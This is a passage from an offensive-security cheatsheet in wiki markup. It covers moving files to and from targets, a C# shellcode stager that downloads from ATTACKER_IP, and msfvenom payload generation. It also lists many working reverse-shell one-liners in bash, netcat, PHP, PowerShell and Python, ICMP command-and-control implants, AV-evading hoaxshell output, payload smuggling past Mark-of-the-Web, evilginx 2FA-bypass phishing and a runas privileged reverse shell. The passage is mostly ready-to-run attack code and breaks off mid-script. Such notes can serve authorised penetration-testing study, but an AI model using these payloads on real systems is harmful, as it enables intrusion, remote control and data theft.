&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Upload file&lt;br /&gt;
upload shell.exe&lt;br /&gt;
# Download file&lt;br /&gt;
Download target.file&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Netcat ===&lt;br /&gt;
&lt;br /&gt;
Must have nc.exe binary on the target machine.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Attacking machine command&lt;br /&gt;
nc -lvnp 4444 &amp;gt; FiletoDownload&lt;br /&gt;
## Victim machine command&lt;br /&gt;
nc.exe 10.10.10.100 4444 -w 3 &amp;lt; Filetodownload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Rejetto HFS - HTTP File Server (GUI based) ===&lt;br /&gt;
&lt;br /&gt;
Rejetto is very light weight and works on linux (wine) and Windows to transfer files to a target over http using GUI.&lt;br /&gt;
&lt;br /&gt;
If you have RDP this tool works great.&lt;br /&gt;
&lt;br /&gt;
[https://www.rejetto.com/hfs/ https://www.rejetto.com/hfs/]&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/wp-content/uploads/2023/01/hfs2.3m.zip hfs2.3m][https://blog.aghanim.net/wp-content/uploads/2023/01/hfs2.3m.zip Rejtto HFS zip file]&lt;br /&gt;
&lt;br /&gt;
=== Tiny Http Server - Rebex === &lt;br /&gt;
Simple, minimalist web server for testing and debugging purposes. Runs as a Windows application only.&lt;br /&gt;
&lt;br /&gt;
https://www.rebex.net/tiny-web-server/&lt;br /&gt;
&lt;br /&gt;
==== Transfer from attacker to target ====&lt;br /&gt;
&lt;br /&gt;
[[File:2023-01-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
Drag and drop files you want to transfer. Change port by clicking on &#039;Port:&#039; or change IP by going to Menu and &#039;IP Adress&#039;.&lt;br /&gt;
&lt;br /&gt;
On target either open browser or wget, curl, etc&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
wget http://192.168.1.98:443/nmap.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Transfer from target to attacker ====&lt;br /&gt;
&lt;br /&gt;
[https://www.rejetto.com/wiki/index.php/HFS:_Working_with_uploads https://www.rejetto.com/wiki/index.php/HFS:_Working_with_uploads]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Step-by-step&lt;br /&gt;
## First, define a real folder. To do this:&lt;br /&gt;
# Add a folder.&lt;br /&gt;
## Choose real folder.&lt;br /&gt;
## You should now see a RED folder in your virtual file system, inside HFS.&lt;br /&gt;
## Right click on this folder.&lt;br /&gt;
## Set Upload → upload for accounts → anyone&lt;br /&gt;
## Now anyone who has access to your HFS server can upload files to you.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-01-image-3.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
Anyone can upload&lt;br /&gt;
&lt;br /&gt;
[[File:2023-01-image-4.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2023-01-image-5.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
Click on on the folder &#039;Upload HFS&#039;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-01-image-6.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
Now anyone can upload files&lt;br /&gt;
&lt;br /&gt;
=== SCP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# From target to attacher&lt;br /&gt;
scp aghanim@192.168.1.242:C:/Users/testuser/Desktop/file .&lt;br /&gt;
# From attacker to target&lt;br /&gt;
scp file.txt aghanim@192.168.1.242:C:/Users/testuser/Desktop/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SMBServer ===&lt;br /&gt;
&lt;br /&gt;
Create a smbserver with share name &amp;quot;share&amp;quot;, and location of folder to share&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
smbserver.py share /home/aghanim/Desktop/&lt;br /&gt;
## If target only supports smbserver2&lt;br /&gt;
smbserver.py share . -smb2support&lt;br /&gt;
## On target CMD&lt;br /&gt;
\\smbserver-ip\share\$FILE_NAME&lt;br /&gt;
## Copy file to target&lt;br /&gt;
copy \\smbserver-ip\share\$FILE_NAME .&lt;br /&gt;
## Copy file from target to attacker&lt;br /&gt;
copy FileToDownload \\smbserver-ip\share\FileToDownload&lt;br /&gt;
## SMBserver with username and password&lt;br /&gt;
/usr/bin/impacket-smbserver share . -smb2support -username test -password 123&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell ===&lt;br /&gt;
&lt;br /&gt;
Must use single quote for URL. Worsk for Windows 7 &amp;amp; 2008 and above.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
powershell -c (New-Object Net.WebClient).DownloadFile(&#039;http://ip-addr:port/file&#039;, &#039;output-file&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powercat ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Attacker&lt;br /&gt;
sudo nc -lnvp 443 &amp;gt; receiving_powercat.ps1&lt;br /&gt;
# Target&lt;br /&gt;
powercat -c 10.11.0.4 -p 443 -i C:\Users\aghanim\powercat.ps1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Python ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Attacker&lt;br /&gt;
python3 -m http.server 8080&lt;br /&gt;
python2 -m SimpleHTTPServer 8080&lt;br /&gt;
# Target&lt;br /&gt;
wget http://ip:port/file&lt;br /&gt;
curl http://ip:port/file&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Windows upload using php and powershell ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# On attacker, create a php upload script and host it on apache2 server&lt;br /&gt;
&lt;br /&gt;
# On target, upload files using this command.&lt;br /&gt;
powershell (New-Object System.Net.WebClient).UploadFile(&#039;http://10.11.0.4/upload.php&#039;, &#039;important.docx&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Shellcode and Staged payloads ==&lt;br /&gt;
&lt;br /&gt;
=== csharp stager ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/mvelazc0/defcon27_csharp_workshop/blob/master/Labs/lab2/2.cs&lt;br /&gt;
using System;&lt;br /&gt;
using System.Net;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Configuration.Install;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Security.Cryptography.X509Certificates;&lt;br /&gt;
public class Program {&lt;br /&gt;
  //https://docs.microsoft.com/en-us/windows/desktop/api/memoryapi/nf-memoryapi-virtualalloc&lt;br /&gt;
  [DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
  private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);&lt;br /&gt;
  //https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-createthread&lt;br /&gt;
  [DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
  private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);&lt;br /&gt;
  //https://docs.microsoft.com/en-us/windows/desktop/api/synchapi/nf-synchapi-waitforsingleobject&lt;br /&gt;
  [DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
  private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);&lt;br /&gt;
  private static UInt32 MEM_COMMIT = 0x1000;&lt;br /&gt;
  private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;&lt;br /&gt;
  public static void Main()&lt;br /&gt;
  {&lt;br /&gt;
    string url = &amp;quot;https://ATTACKER_IP/shellcode.bin&amp;quot;;&lt;br /&gt;
    Stager(url);&lt;br /&gt;
  }&lt;br /&gt;
  public static void Stager(string url)&lt;br /&gt;
  {&lt;br /&gt;
    WebClient wc = new WebClient();&lt;br /&gt;
    ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };&lt;br /&gt;
    ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;&lt;br /&gt;
    byte[] shellcode = wc.DownloadData(url);&lt;br /&gt;
    UInt32 codeAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);&lt;br /&gt;
    Marshal.Copy(shellcode, 0, (IntPtr)(codeAddr), shellcode.Length);&lt;br /&gt;
    IntPtr threadHandle = IntPtr.Zero;&lt;br /&gt;
    UInt32 threadId = 0;&lt;br /&gt;
    IntPtr parameter = IntPtr.Zero;&lt;br /&gt;
    threadHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);&lt;br /&gt;
    WaitForSingleObject(threadHandle, 0xFFFFFFFF);&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Msfvenom Staged payload ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
msfvenom -p windows/x64/shell/reverse_tcp LHOST=ATTACKER_IP LPORT=7474 -f raw -o shellcode.bin -b &#039;\x00\x0a\x0d&#039;&lt;br /&gt;
# -b &#039;\x00\x0a\x0d&#039;: Sets a list of characters to avoid in the generated shellcode. The characters &#039;\x00\x0a\x0d&#039; correspond to null byte, line feed, and carriage return, which are common characters that can cause issues when injecting shellcode into certain parts of memory or when transmitting it over a network.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Bind shells ==&lt;br /&gt;
&lt;br /&gt;
https://blog.aghanim.net/?p=1043&lt;br /&gt;
&lt;br /&gt;
=== Powercat ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
powercat -l -p 443 -e cmd.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Reverse shells ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#powershell PayloadAllTheThings]&lt;br /&gt;
&lt;br /&gt;
=== Reverse Shell Generator ===&lt;br /&gt;
&lt;br /&gt;
[https://www.revshells.com/ https://www.revshells.com/]&lt;br /&gt;
&lt;br /&gt;
=== hoaxshell ===&lt;br /&gt;
&lt;br /&gt;
Currently undetected by Microsoft and most AV (12.10.2022)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/t3l3machus/hoaxshell&lt;br /&gt;
──(root💀kali)-[/opt/hoaxshell]&lt;br /&gt;
└─# python3 hoaxshell.py -s 192.168.1.59 -p 4444                                                                                                                                              1 ⨯&lt;br /&gt;
    ┬ ┬ ┌─┐ ┌─┐ ─┐ ┬ ┌─┐ ┬ ┬ ┌─┐ ┬   ┬&lt;br /&gt;
    ├─┤ │ │ ├─┤ ┌┴┬┘ └─┐ ├─┤ ├┤  │   │&lt;br /&gt;
    ┴ ┴ └─┘ ┴ ┴ ┴ └─ └─┘ ┴ ┴ └─┘ ┴─┘ ┴─┘&lt;br /&gt;
                           by t3l3machus&lt;br /&gt;
[Info] Generating reverse shell payload...&lt;br /&gt;
powershell -e JABzAD0AJwAxADkAMgAuADEANg....&lt;br /&gt;
[Info] Type &amp;quot;help&amp;quot; to get a list of the available prompt commands.&lt;br /&gt;
[Info] Http Server started on port 4444.&lt;br /&gt;
[Important] Awaiting payload execution to initiate shell session...&lt;br /&gt;
[Shell] Payload execution verified!&lt;br /&gt;
[Shell] Stabilizing command prompt...&lt;br /&gt;
PS C:\Users\AlaaG &amp;gt; whoami&lt;br /&gt;
laptop-\alaag&lt;br /&gt;
PS C:\Users\AlaaG &amp;gt; systeminfo&lt;br /&gt;
Host Name:                 LAPTOP-&lt;br /&gt;
OS Name:                   Microsoft Windows 11 Home&lt;br /&gt;
OS Version:                10.0.22000 N/A Build 22000&lt;br /&gt;
OS Manufacturer:           Microsoft Corporation&lt;br /&gt;
OS Configuration:          Standalone Workstation&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== ICMP Reverse Shell ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/krabelize/icmpdoor&lt;br /&gt;
# https://cryptsus.com/blog/icmp-reverse-shell.html&lt;br /&gt;
## Python version usage (both Windows and Linux):&lt;br /&gt;
./icmp-cnc.py -i INTERFACE -d VICTIM-IP (Command and Control)&lt;br /&gt;
./icmpdoor.py -i INTERFACE -d CNC-IP (Implant)&lt;br /&gt;
## Binary Windows version usage version:&lt;br /&gt;
./icmp-cnc.exe -d VICTIM-IP (Command and Control)&lt;br /&gt;
./icmpdoor.exe -d CNC-IP (Implant)&lt;br /&gt;
## Binary Linux version usage version:&lt;br /&gt;
./icmp-cnc -d VICTIM-IP (Command and Control)&lt;br /&gt;
./icmpdoor -d CNC-IP (Implant)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== BASH TCP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
bash -i &amp;gt;&amp;amp; /dev/tcp/10.0.0.1/4242 0&amp;gt;&amp;amp;1&lt;br /&gt;
0/dev/tcp/10.0.0.1/4242; sh &amp;amp;196 2&amp;gt;&amp;amp;196&lt;br /&gt;
/bin/bash -l &amp;gt; /dev/tcp/10.0.0.1/4242 0&amp;amp;1&lt;br /&gt;
## Don&#039;t forget to check with others shell : sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, bash&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== BASH UDP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Victim:&lt;br /&gt;
sh -i &amp;gt;&amp;amp; /dev/udp/10.0.0.1/4242 0&amp;gt;&amp;amp;1&lt;br /&gt;
Listener:&lt;br /&gt;
nc -u -lvp 4242&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== ngrok - Catcha reverse shell from the internet ===&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/wp-content/uploads/2023/08/How-to-catch-a-Reverse-shell-over-the-Internet-_-by-Siddharth-Johri-_-System-Weakness.pdf How-to-catch-a-Reverse-shell-over-the-Internet-_-by-Siddharth-Johri-_-System-Weakness][https://book.ghanim.no/wp-content/uploads/2023/08/How-to-catch-a-Reverse-shell-over-the-Internet-_-by-Siddharth-Johri-_-System-Weakness.pdf Download]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# On attacker (term1)&lt;br /&gt;
ngrok tcp 4444&lt;br /&gt;
# On attacker (term2)&lt;br /&gt;
nc -lvp 4444&lt;br /&gt;
# On target, use your reverse shell payload on the ngrok tunnel target&lt;br /&gt;
nc 0.tcp.ngrok.io  -e /bin/sh&lt;br /&gt;
-----&lt;br /&gt;
# Another method if there is a proxy and firewall.&lt;br /&gt;
# Setup free domain. (Custom domain is a paid feature)&lt;br /&gt;
https://dashboard.ngrok.com/cloud-edge/domains&lt;br /&gt;
ngrok http --domain=ngrok-provided-domain.ngrok-free.app&lt;br /&gt;
# On attacker&lt;br /&gt;
nc -lvnp&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Netcat Traditional ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nc -e /bin/sh 10.0.0.1 4242&lt;br /&gt;
nc -e /bin/bash 10.0.0.1 4242&lt;br /&gt;
nc -c bash 10.0.0.1 4242&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Netcat BusyBox ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&amp;gt;&amp;amp;1|nc 10.0.0.1 4242 &amp;gt;/tmp/f&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== nc.exe ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nc.exe -e cmd.exe attacker_ip attacker_port&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== PHP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
php -r &#039;$sock=fsockopen(&amp;quot;10.10.14.17&amp;quot;,4444);$proc=proc_open(&amp;quot;/bin/sh -i&amp;quot;, array(0=&amp;gt;$sock, 1=&amp;gt;$sock, 2=&amp;gt;$sock),$pipes);&#039;&lt;br /&gt;
# Base64 encoded webshell&lt;br /&gt;
&amp;quot;&amp;quot;&lt;br /&gt;
&amp;quot;&amp;amp; /dev/tcp/192.168.49.129/80 0&amp;gt;&amp;amp;1&#039;); ?&amp;gt;&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershells ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
powershell -nop -c &amp;quot;$client = New-Object System.Net.Sockets.TCPClient(&#039;10.0.0.1&#039;,4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2&amp;gt;&amp;amp;1 | Out-String );$sendback2 = $sendback + &#039;PS &#039; + (pwd).Path + &#039;&amp;gt; &#039;;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient(&amp;quot;10.0.0.1&amp;quot;,4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2&amp;gt;&amp;amp;1 | Out-String );$sendback2  = $sendback + &amp;quot;PS &amp;quot; + (pwd).Path + &amp;quot;&amp;gt; &amp;quot;;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
powershell IEX (New-Object Net.WebClient).DownloadString(&#039;https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/mini-reverse.ps1&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell base64 encoded reverse shell payload ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
powercat -c 10.11.0.4 -p 443 -e cmd.exe -ge &amp;gt; encodedreverseshell.ps1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powercat ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
powercat -c 10.11.0.4 -p 443 -e cmd.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Python ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
import os,pty,socket;s=socket.socket();s.connect((&amp;quot;192.168.49.169&amp;quot;,443));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(&amp;quot;sh&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Stabilize shell (Interactive shell) ===&lt;br /&gt;
&lt;br /&gt;
==== Linux ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
python -c &#039;import pty;pty.spawn(“/bin/bash”)&#039;&lt;br /&gt;
export TERM=xterm&lt;br /&gt;
Background the shell using Ctrl + Z. In our terminal we use stty raw -echo; fg.&lt;br /&gt;
https://blog.aghanim.net/?p=1043&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Windows ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# In you have unstable shell in Windows, try to get a new shell using Nishang Invoke-PowershellTcp.ps1&lt;br /&gt;
# 1. Edit Nishang script and add&lt;br /&gt;
Invoke-PowerShellTcp -Reverse -IpAddress  -Port&lt;br /&gt;
# 2. Start a new netcat listener&lt;br /&gt;
# 3. Start simple http.severe where the nishang script is&lt;br /&gt;
# 4. On target. (Make sure powershell is enabled and allowed to use)&lt;br /&gt;
powershell.exe -nop -exec bypass -c &amp;quot;IEX (New-Object Net.WebClient).DownloadString(&#039;http://LOCALIP:LOCALPORT/invoke-powershelltcp.ps1&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fix TTY in reverse shell ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# In our shell. Remember the rows anc cols&lt;br /&gt;
stty -a&lt;br /&gt;
# On victim shell&lt;br /&gt;
stty rows  cols&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== PackMyPayload ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/mgeeky/PackMyPayload mgeeky/PackMyPayload: A PoC that packages payloads into output containers to evade Mark-of-the-Web flag &amp;amp; demonstrate risks associated with container file formats. Supports: ZIP, 7zip, PDF, ISO, IMG, CAB, VHD, VHDX (github.com)]&lt;br /&gt;
&lt;br /&gt;
Smuggle payloads using various file formats:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;7zip&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;zip&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;ISO&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;IMG&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Pack a dir to .iso&lt;br /&gt;
PackMyPayload.py C:\my\dir malicious.iso -v&lt;br /&gt;
# Pack a malicious code to .vhd&lt;br /&gt;
PackMyPayload.py .\evil.lnk .\evil.vhd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Persistence ==&lt;br /&gt;
&lt;br /&gt;
=== Windows ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Persistence.md https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Persistence.md]&lt;br /&gt;
&lt;br /&gt;
=== Linux ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Persistence.md https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Persistence.md]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Phishing ==&lt;br /&gt;
&lt;br /&gt;
=== Bypass 2-Fa ===&lt;br /&gt;
&lt;br /&gt;
[https://www.youtube.com/watch?v=FwGeBW6OurM&amp;amp;t=662s Hackers Bypass Google Two-Factor Authentication (2FA) SMS - YouTube]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/kgretzky/evilginx2 GitHub - kgretzky/evilginx2: Standalone man-in-the-middle attack framework used for phishing login credentials along with session cookies, allowing for the bypass of 2-factor authentication]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Programming ==&lt;br /&gt;
&lt;br /&gt;
=== Control flow - Logic Statement ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| Logic Statement&lt;br /&gt;
| Purpose&lt;br /&gt;
|-&lt;br /&gt;
| if/else&lt;br /&gt;
| Executes only if a condition is met, else it will execute a different code block&lt;br /&gt;
|-&lt;br /&gt;
| try/catch&lt;br /&gt;
| Will try to execute a code block and catch it if it fails to handle errors.&lt;br /&gt;
|-&lt;br /&gt;
| switch case&lt;br /&gt;
| A switch will follow similar conditional logic to an if statement but checks several different possible conditions with cases before resolving to a break or default&lt;br /&gt;
|-&lt;br /&gt;
| for/while loop&lt;br /&gt;
| A for loop will execute for a set amount of a condition. A while loop will execute until a condition is no longer met.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Privilege Escalation ==&lt;br /&gt;
&lt;br /&gt;
=== Windows ===&lt;br /&gt;
&lt;br /&gt;
==== Admin Account Credentials ====&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/?p=2078#Shell_8211_Changing_user_if_you_have_a_shell Active Directory – Notes, Methodology, Cheatsheet – BOOK_GHANIM]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If you hve admin credentials or created an account with admin privilege you can use nc.exe to get a privileged reverse shell using runas&lt;br /&gt;
runas /profile /user:Administrator &amp;quot;nc.exe -e cmd 192.168.49.169 443&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Another method is if the shell is non-interactive is to use a powershell script.&lt;br /&gt;
# Save this on your Kali and start a HTTP.server.&lt;br /&gt;
$password = ConvertTo-SecureString &amp;quot;lab&amp;quot; -AsPlainText -Force&lt;br /&gt;
